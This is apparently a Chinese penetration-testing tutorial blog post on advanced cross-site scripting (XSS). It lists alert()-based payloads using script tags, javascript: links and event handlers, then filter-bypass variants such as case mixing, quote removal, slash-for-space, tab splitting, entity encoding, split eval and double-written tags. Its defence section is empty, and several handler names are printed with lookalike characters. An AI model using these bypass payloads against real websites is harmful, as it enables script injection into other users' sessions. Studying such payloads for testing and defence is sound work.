渗透测试实例指南--XSS进阶

1、XSS构造方法

       1.1 利用<>构造HTML标签和<script>

             例如:<script>alert(/xss/)</script>

             <script>confirm("完成的不错!")</script>

             <script>prompt("完成的不错!")</script>
             <script>alert("完成的不错!")</script>

       1.2 伪协议  javascript:alert(/xss/)

             例如:<a href="javascript:alert(/xss/)">touch me!</a>,通过href是创建一个超链接,点击超链接,触发xss

       1.3 产生自己的事件

        “事件驱动”是一种比较经典的编程思想,在网页中会发生很多事件(例如鼠标移动,键盘输入等),JS可以对这些事件进行相应,所以我们可以通过事件触发JS函数,触发xss

        事件种类:

        windows事件  -------对windows对象触发事件

        Form事件  -------HTML表单内的动作触发事件

        Keyboard事件  -------键盘按键

        Mouse事件  -------由鼠标或类型用户动作触发事件

        Media事件  -------由多媒体触发事件

       <img src='./smile.jpg'> οnmοuseοver='alert(/xss/)'---这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码

        <input type="text"  οnkeydοwn="alert(/xss/)">---当点击键盘任意一个按键的时候触发xss

        <input type="text"  οnkeyup="alert(/xss/)">

        <input type="button"  οnclick="alert(/xss/)">

        <img src="#"  οnerrοr='alert(/xss/)'>

      1.4 其他标签以及手法

           <input οnfοcus=alert(/xss/)  autofocus>

2、XSS变形

       2.1  大小写

           <a hREf="javascript:alert(/xss/)">touch me!</a>        (alert属于js函数,不可以大小写,href属于html语言,html对大小写不明感)

       2.2   引号的使用

         <img src="#" οnerrοr="alert(/xss/)" />-----双引号

         <img src='#' οnerrοr='alert(/xss/)' />-----单引号

         <img src=# οnerrοr=alert(/xss/) />-----无引号

       2.3  [/]代替空格

         <img/src='#'/οnerrοr='alert(/xss/)' />

       2.4  回车/TAB

           方法一:<a hREf="j

           avascript:alert(/xss/)">touch me!</a> 

           方法二

           <a hREf="j

           a    v

           a    s

           c     r

           i      p

           t      :

           alert(/xss/)">touch me!</a> 

       2.5  编码

           字母    ASCII     十进制   十六进制

            a          97        &#97;       &#x61;

          <a hREf="j&#97;v&#97;script:alert(/xss/)">touch me!</a> 

       2.5  拆分跨站

           <script>z='alert'</script>

          <script>z=a+'(/xss/)'</script>

          <script>eval(z)</script>

       2.5  双写绕过

           <script>

           <scr<script>ipt>

3、XSS防御

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值